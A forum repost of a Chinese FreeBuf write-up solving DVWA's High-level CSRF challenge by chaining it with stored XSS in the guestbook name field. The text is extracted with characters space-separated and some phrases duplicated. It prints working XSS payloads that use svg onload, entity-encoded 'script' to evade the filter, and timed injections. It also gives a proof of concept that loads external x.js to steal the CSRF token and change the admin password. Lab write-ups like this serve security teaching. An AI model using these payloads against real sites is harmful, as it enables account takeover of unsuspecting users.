搜索

[14120] 2019-05-18_DVWA1.10High等级的CSRF另类通关法

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2019-05-18_DVWA1.10High等级的CSRF另类通关法 D V W A   1 . 1 0   H i g h 等 级 的 C S R F 另 类 通 关 法 F 1 t z   F r e e B u f   2 0 1 9 - 0 5 - 1 8 前 言 前 言 网 上 有 很 多 关 于 网 上 有 很 多 关 于 C S R F   H i g h 等 级 的 通 关 记 录 ， 但 是 都 有 一 个 缺 陷 ， 没 有 做 到 自 动 触 发 修 改 密 码 。 这 里 记 录 了 我 在 解 题 时 的 思 路 ， 顺 便 分 享 出 来 抛 砖 引 玉 ， 希 望 大 佬 们 不 吝 赐 教 哈 等 级 的 通 关 记 录 ， 但 是 都 有 一 个 缺 陷 ， 没 有 做 到 自 动 触 发 修 改 密 码 。 这 里 记 录 了 我 在 解 题 时 的 思 路 ， 顺 便 分 享 出 来 抛 砖 引 玉 ， 希 望 大 佬 们 不 吝 赐 教 哈   ; - ) 0 x 0 0   简 单 分 析 一 下 简 单 分 析 一 下 C S R F 后 端 逻 辑 后 端 逻 辑 v u l n e r a b i l i t i e s c s r f s o u r c e h i g h . p h p （ 这 里 只 是 简 单 说 明 一 下 逻 辑 ， 本 站 已 有 前 辈 详 细 分 析 过 源 码 ） 由 于 使 用 了 不 可 猜 测 到 的 t o k e n ， 所 以 我 们 首 先 想 到 的 思 路 ， 就 是 找 一 个 X S S 漏 洞 来 配 合 ， 先 通 过 X S S 获 得 t o k e n 之 后 修 改 密 码 。 0 x 0 1   突 破 点 突 破 点   X S S - S t o r e d v u l n e r a b i l i t i e s x s s _ s s o u r c e h i g h . p h p 这 里 已 经 分 析 确 认 了 $ n a m e 可 被 我 们 利 用 做 X S S ， 这 样 就 可 以 配 合 C S R F 来 重 置 用 户 密 码 了 。 需 要 先 说 明 一 下 D V W A 的 数 据 库 设 计 ， g u e s t b o o k 表 的 n a m e 字 段 类 型 为 v a r c h a r ( 1 0 0 ) ， 也 就 是 说 最 多 n a m e 只 能 写 入 1 0 0 个 字 符 ， 超 过 的 字 符 会 被 数 据 库 抛 弃 不 存 储 。 那 么 如 何 做 到 b y p a s s 呢 ， 就 是 本 文 要 表 达 的 重 点 了 。 0 x 0 2   前 端 先 设 置 油 猴 脚 本 前 端 先 设 置 油 猴 脚 本 由 于 D V W A 前 端 的 N a m e 字 段 限 制 长 度 1 0 个 字 符 ， 而 且 测 试 过 程 中 发 包 次 数 很 多 ， 每 次 都 要 修 改 长 度 就 很 烦 ， 这 里 就 可 以 让 油 猴 代 替 我 们 修 改 ， 当 然 你 也 可 以 用 B u r p s u i t e 发 包 ， 我 这 里 只 写 了 自 己 的 测 试 方 法 。 B T W :   这 里 没 有 修 改 D V W A 后 端 源 码 ， 以 保 证 跟 大 家 的 代 码 一 致 。 < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {         / /   验 证   T o k e n   如 果 不 正 确 则 跳 转 到 i n d e x . p h p         / /   d v w a i n c l u d e s d v w a P a g e . i n c . p h p : 5 2 7         c h e c k T o k e n (   $ _ R E Q U E S T [   ' u s e r _ t o k e n '   ] ,   $ _ S E S S I O N [   ' s e s s i o n _ t o k e n '   ] ,   ' i n d e x . p h p '   ) ; / / . . . 中 间 省 略 ， 只 关 注 上 下 这 两 个 函 数 . . . / /   生 成   T o k e n   ,   使 用 了   m d 5 (   u n i q i d ( )   ) ， 所 以 几 乎 不 可 能 猜 测 到 T o k e n 值 / /   d v w a i n c l u d e s d v w a P a g e . i n c . p h p : 5 2 7 g e n e r a t e S e s s i o n T o k e n ( ) ; ? > < ? p h p i f (   i s s e t (   $ _ P O S T [   ' b t n S i g n '   ]   )   )   {         / /   G e t   i n p u t         $ m e s s a g e   =   t r i m (   $ _ P O S T [   ' m t x M e s s a g e '   ]   ) ;         $ n a m e         =   t r i m (   $ _ P O S T [   ' t x t N a m e '   ]   ) ;         / /   s t r i p _ t a g s 去 除 了 H T M L 标 签 ， h t m l s p e c i a l c h a r s   转 义 特 殊 字 符 & " < > 为 实 体           $ m e s s a g e   =   s t r i p _ t a g s (   a d d s l a s h e s (   $ m e s s a g e   )   ) ;         . . .         $ m e s s a g e   =   h t m l s p e c i a l c h a r s (   $ m e s s a g e   ) ;         / /   $ n a m e 并 没 有 像 上 面 一 样 严 格 过 滤 ， 只 用 正 则 简 单 的 做 了 剔 除 ， 导 致 了 X S S 的 可 能 ， 但 是 有 限 制 下 面 会 说         $ n a m e   =   p r e g _ r e p l a c e (   ' / < ( . * ) s ( . * ) c ( . * ) r ( . * ) i ( . * ) p ( . * ) t / i ' ,   ' ' ,   $ n a m e   ) ;         . . .         / /   将 $ m e s s a g e 、 $ n a m e 插 入 数 据 表         $ q u e r y     =   " I N S E R T   I N T O   g u e s t b o o k   (   c o m m e n t ,   n a m e   )   V A L U E S   (   ' $ m e s s a g e ' ,   ' $ n a m e '   ) ; " ;         . . .         / / m y s q l _ c l o s e ( ) ; } ? > / /   = = U s e r S c r i p t = = / /   @ n a m e                   改 掉 D V W A 烦 人 的 长 度 限 制 / /   @ n a m e s p a c e         h t t p : / / t a m p e r m o n k e y . n e t / / /   @ v e r s i o n             0 . 1 / /   @ d e s c r i p t i o n     t r y   t o   t a k e   o v e r   t h e   w o r l d ! / /   @ a u t h o r               F 1 t z / /   @ m a t c h                 h t t p : / / d v w a . l a b / v u l n e r a b i l i t i e s / x s s _ s / / /   @ g r a n t                 n o n e / /   = = / U s e r S c r i p t = =
安 装 脚 本 ， 并 确 保 脚 本 处 于 启 用 状 态 。 这 时 候 打 开 测 试 页 面 ， 就 可 以 直 接 输 入 最 多 1 0 0 个 字 符 了 ， 而 且 M e s s a g e 会 自 动 填 入 1 。 下 面 开 始 测 试 。 0 x 0 3   一 次 失 败 的 尝 试 一 次 失 败 的 尝 试 构 造 p a y l o a d ： 确 认 P a y l o a d 可 以 成 功 ， 数 据 库 查 看 密 码 确 实 修 改 为 了 a d m i n ， 为 了 后 边 测 试 ， 我 将 密 码 修 改 回   p a s s w o r d 。 我 开 始 想 办 法 实 现 C S R F 自 动 化 修 改 密 码 ， 由 于 1 0 0 个 字 符 的 限 制 ， 我 将 p a y l o a d 分 成 7 份 提 交 / /   = = / U s e r S c r i p t = = ( f u n c t i o n ( )   {         ' u s e   s t r i c t ' ;         v a r   N   =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' t x t N a m e ' ) ;         v a r   M   =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' m t x M e s s a g e ' ) ;         N [ 0 ] . m a x L e n g t h = 1 0 0 ;         N [ 0 ] . s i z e = 6 0 ;         M [ 0 ] . v a l u e = 1 ; } ) ( ) ; 先 插 入 了 一 个 i f r a m e 标 签 到 留 言 板 < i f r a m e   s r c = " . . / c s r f " > < / i f r a m e > 并 在 控 制 台 执 行 测 试 p a y l o a d 语 句 f = f r a m e s [ 0 ] ; t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e ; i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) ; i . s r c = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n & C h a n g e = C h a n g e & u s e r _ t o k e n = ' < i f r a m e   s r c = " . . / c s r f " > < / i f r a m e >         < i m g   s r c = " x "   o n e r r o r = " f = f r a m e s [ 0 ] ; " >         < i m g   s r c = " x "   o n e r r o r = " s = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n ' " >         < i m g   s r c = " x "   o n e r r o r = " s + = ' & C h a n g e = C h a n g e & u s e r _ t o k e n = ' " >         < i m g   s r c = " x "   o n e r r o r = " t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e ; " >         < i m g   s r c = " x "   o n e r r o r = " i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) ; " >         < i m g   s r c = " x "   o n e r r o r = " i . s r c = s + t " >
查 看 D O M ， 确 认 没 有 任 何 实 体 、 转 义 。 当 你 全 部 提 交 完 成 后 ， 一 切 都 看 起 来 很 完 美 ， 感 觉 挺 简 单 的 嘛 ， 但 是 。 。 。 但 是 就 是 无 法 执 行 成 功 ， 后 来 我 在 C o n s o l e 控 制 台 发 现 了 问 题 所 在 。 第 一 次 报 错 第 一 次 报 错 刷 新 后 查 看 。
第 二 次 报 错 第 二 次 报 错 再 次 刷 新 。 第 三 次 报 错 第 三 次 报 错 几 乎 每 次 刷 新 都 会 有 报 错 ， 非 常 小 的 概 率 能 够 执 行 成 功 ， 你 会 发 现 每 次 的 报 错 都 不 同 ， 每 次 都 随 机 提 示 我 某 个 变 量 未 定 义 。 痛 定 思 痛 痛 定 思 痛 猜 测 为 执 行 时 序 不 同 导 致 的 ， 尝 试 搜 索 相 关 解 决 方 案 ， 但 是 并 没 有 找 到 相 关 准 确 结 果 。 后 来 尝 试 修 改 i m g   o n e r r o r 为 s v g / o n l o a d 。 然 而 问 题 依 旧 ， 控 制 台 里 得 到 了 同 样 的 错 误 ， 但 是 我 还 是 太 蔡 了 ， 甚 至 尝 试 在 o n l o a d 事 件 内 使 用   ' w i n d o w . o n l o a d ; '   ， 依 旧 无 法 做 到 依 次 向 下 执 行 ， 理 论 上 浏 览 器 是 会 将 H T M L 按 照 顺 序 向 下 渲 染 的 ， 但 是 事 件 真 是 让 我 琢 磨 不 定 。 0 x 0 4   发 现 新 曙 光 发 现 新 曙 光 我 开 始 思 考 如 何 减 少 p a y l o a d 的 数 量 ， 企 图 降 低 错 误 概 率 。 这 个 时 候 我 发 现 可 以 通 过 拼 接 出 一 个 s c r i p t 来 引 入 外 部 j s 。 在 此 之 后 我 想 到 大 佬 说 的 事 件 内 可 以 解 析 A S C I I 编 码 后 的 字 符 串 。 这 样 就 可 以 绕 过 后 端 的 正 则 过 滤 （ 感 叹 ： 真 是 太 蔡 了 ， 早 先 怎 么 没 想 到 啊   : - (   ） 。 于 是 p a y l o a d 就 减 少 到 了 4 个 。 为 了 方 便 测 试 ， 在   x . j s   里 只 写 了   a l e r t ( ' H e l l o D V W A ' ) 。 < i f r a m e   s r c = " . . / c s r f " > < / i f r a m e > < s v g / o n l o a d = " f = f r a m e s [ 0 ] " > < s v g / o n l o a d = " s = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n ' " > < s v g / o n l o a d = " s + = ' & C h a n g e = C h a n g e & u s e r _ t o k e n = ' " > < s v g / o n l o a d = " t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e " > < s v g / o n l o a d = " i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) " > < s v g / o n l o a d = " i . s r c = s + t " > < s v g / o n l o a d = " s = ' s c r i p ' " > < s v g / o n l o a d = " j = d o c u m e n t . c r e a t e E l e m e n t ( s + ' t ' ) " > s c r i p t 编 码 后 为 ： & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; < s v g / o n l o a d = " s = ' & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; ' " > < s v g / o n l o a d = " s = ' & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; ' " > < s v g / o n l o a d = " j = d o c u m e n t . c r e a t e E l e m e n t ( s ) " > < s v g / o n l o a d = " j . s r c = ' h t t p : / / 1 9 2 . 1 6 8 . 2 2 4 . 1 / x . j s ' " > < s v g / o n l o a d = " d o c u m e n t . b o d y . a p p e n d C h i l d ( j ) " >
发 现 成 功 了 ！ ！ ！ x . j s   被 成 功 加 载 了 。 可 是 老 问 题 依 然 存 在 。 设 想 如 果 管 理 员 只 登 陆 刷 新 一 次 留 言 板 ， 这 样 的 成 功 率 并 不 能 够 然 人 满 意 ， 我 又 开 始 另 想 办 法 了 。 0 x 0 5   办 法 总 比 问 题 多 办 法 总 比 问 题 多 我 就 在 想 ， 既 然 跟 时 序 有 关 ， 我 可 以 延 时 吧 ， 让 它 们 每 一 句 等 待 的 时 间 不 同 ， 就 可 以 人 工 干 预 执 行 时 序 了 。 于 是 p a y l o a d 变 成 了 这 样 ： 两 个 账 户 、 两 个 浏 览 器 （ c h r o m e 、 f i r e f o x ） 都 测 试 成 功 ， 且 多 次 成 功 ， 没 有 再 报 错 了 。 能 够 确 认 有 效 之 后 ， 便 修 改 x . j s 。 P o C   如 下 ： 流 程 如 图 ： 当 管 理 员 访 问 留 言 板 ( X S S - S t o r e d ) 时 候 ： < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { s = ' & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; ' } , 3 0 0 0 ) " > < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { j = d o c u m e n t . c r e a t e E l e m e n t ( s ) } , 4 0 0 0 ) " > < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { j . s r c = ' h t t p : / / 1 9 2 . 1 6 8 . 2 2 4 . 1 / x . j s ' } , 5 0 0 0 ) " > < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { d o c u m e n t . b o d y . a p p e n d C h i l d ( j ) } , 6 0 0 0 ) " > i f r   =   d o c u m e n t . c r e a t e E l e m e n t ( ' i f r a m e ' ) ; i f r . s r c = " . . / c s r f " ; i f r . h i d d e n = 1 ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; s e t T i m e o u t ( f u n c t i o n ( ) { f = f r a m e s [ 0 ] ; t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e ; i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) ; i . s r c = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n & C h a n g e = C h a n g e & u s e r _ t o k e n = '
1 、 会 先 加 载 x . j s 2 、 x . j s 内 的 脚 本 内 容 ， 会 创 建 一 个 隐 藏 的 i f r a m e 标 签 到 D O M 3 、 等 待 i f r a m e 创 建 完 成 之 后 ， 便 通 过 创 建 一 个 i m g 标 签 ， 自 动 触 发 修 改 密 码 的 请 求 0 x 0 6   写 在 最 后 写 在 最 后 虽 然 这 只 是 D V W A 的 一 道 题 ， 从 中 可 以 看 出 来 如 果 不 过 滤 标 签 、 不 转 义 特 殊 字 符 ， 后 果 是 很 严 重 的 。 本 篇 文 章 只 是 记 录 了 我 的 解 题 思 路 、 流 程 ， 因 为 目 前 还 是 属 于 蔡 鸡 级 别 ，   所 以 文 章 中 难 免 有 疏 忽 的 地 方 ， 欢 迎 各 路 大 佬 指 点 一 二 * 本 文 作 者 ： 本 文 作 者 ： F 1 t z ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 推 荐 阅 读 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理